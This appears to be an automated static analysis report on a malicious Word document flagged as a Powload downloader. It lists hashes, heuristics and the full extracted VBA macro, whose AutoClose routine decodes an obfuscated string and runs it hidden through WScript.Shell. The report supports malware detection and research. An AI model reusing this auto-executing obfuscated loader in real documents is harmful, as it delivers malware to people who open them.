Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fc88d645f9885abf…

MALICIOUS

Office (OOXML)

53.3 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2018-10-07
MD5: 6e1e89c787c27e62567cc32ef684e013 SHA-1: 6c02d3acaafdb4f9765f062354bd6f226694f48a SHA-256: fc88d645f9885abf4274e7ed18e555447da13ef2c88082fdf904c3b869ab2854
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes obfuscation techniques and calls `WScript.Shell` and `Shell()` to execute commands. The `AutoClose` subroutine is triggered, which then calls a custom decoder function `scybala` to reconstruct a string. This reconstructed string is then passed to `Application.Run "hurtle"`, suggesting it's intended to download and execute a second-stage payload, likely via PowerShell given the ClamAV detection name 'Doc.Downloader.Powload'.

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       undeification = "WScript.Shell"
   snuffle = DateDiff("s", #1/1/1970#, Now())
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "hurtle", juxtapose
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If cavallas - snuffle > 1 Then
       CreateObject(Trim(undeification)).Run backscatters, 0
       antheral = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  farrago = Array("Z", "Q", "d", "N", "y", "e", "i", "A", "i", "W", "d", "N", "N", "8", "g", "U", "U", "O", "I", "Q", "w", "H", "I", "Q", "L", "O", "Q", "i", "Z", "L", "d", "w", "i", "5", "I", "8", "y", "x", "5", "I", "i", "6", "e", "R", "L", "Z", "U", "9", "f", "M", "U", "N", "i", "K", "A", "e", "8", "d", "8", "E", "w", "N", "Z", "y", "k", "6", "y", "6", "i", "N", "H")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2135 bytes
SHA-256: d605a18428d7cdf47dc1fcc5bc707797430787634e328e54b8f017b93e0347b9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function scybala(farrago)
  polygalaceae = Array("w", "K", "Z", "H", "f", "x", "L", "E", "A", "R", "M", "9", "d", "6", "5", "U", "N", "e", "I", "g", "i", "y", "W", "O", "8", "k", "Q")
  depredations = Array("u", "r", "m", "k", "N", "d", "o", "?", "x", "c", "Y", "A", "h", "b", "l", "/", "t", ".", "i", ":", "e", "a", " ", "v", "p", "=", "s")
  
  intending = vbNullString
  
  For Each catoptric In farrago
    petting = prosodially(catoptric, polygalaceae, UBound(polygalaceae))
    If petting > -1 Then
    intending = depredations(petting) & intending
    End If
  Next
  
  scybala = StrReverse(intending)
  
End Function

Public Function prosodially(disinvolve, hacker, achilary)
  parainfluenza = 5553
  estray = 772
  For parainfluenza = 0 To achilary
    If hacker(parainfluenza) = disinvolve And parainfluenza > -1 Then
     estray = parainfluenza
    End If
  Next

  If estray = 772 Then
    estray = -1
  End If
  
  prosodially = estray
End Function

Sub AutoClose()
  farrago = Array("Z", "Q", "d", "N", "y", "e", "i", "A", "i", "W", "d", "N", "N", "8", "g", "U", "U", "O", "I", "Q", "w", "H", "I", "Q", "L", "O", "Q", "i", "Z", "L", "d", "w", "i", "5", "I", "8", "y", "x", "5", "I", "i", "6", "e", "R", "L", "Z", "U", "9", "f", "M", "U", "N", "i", "K", "A", "e", "8", "d", "8", "E", "w", "N", "Z", "y", "k", "6", "y", "6", "i", "N", "H")
  juxtapose = scybala(farrago)
  
  Application.Run "hurtle", juxtapose
  
End Sub


Private Sub hurtle(backscatters)
   
   undeification = "WScript.Shell"
   snuffle = DateDiff("s", #1/1/1970#, Now())
   antheral = True
   
   While antheral
     cavallas = snuffle + 60
     If cavallas - snuffle > 1 Then
       CreateObject(Trim(undeification)).Run backscatters, 0
       antheral = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 0fb55036bb11bccc989af26eeb5be5943178fbd723332e6f2a3c2d5edbcda6a6
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: unlikely

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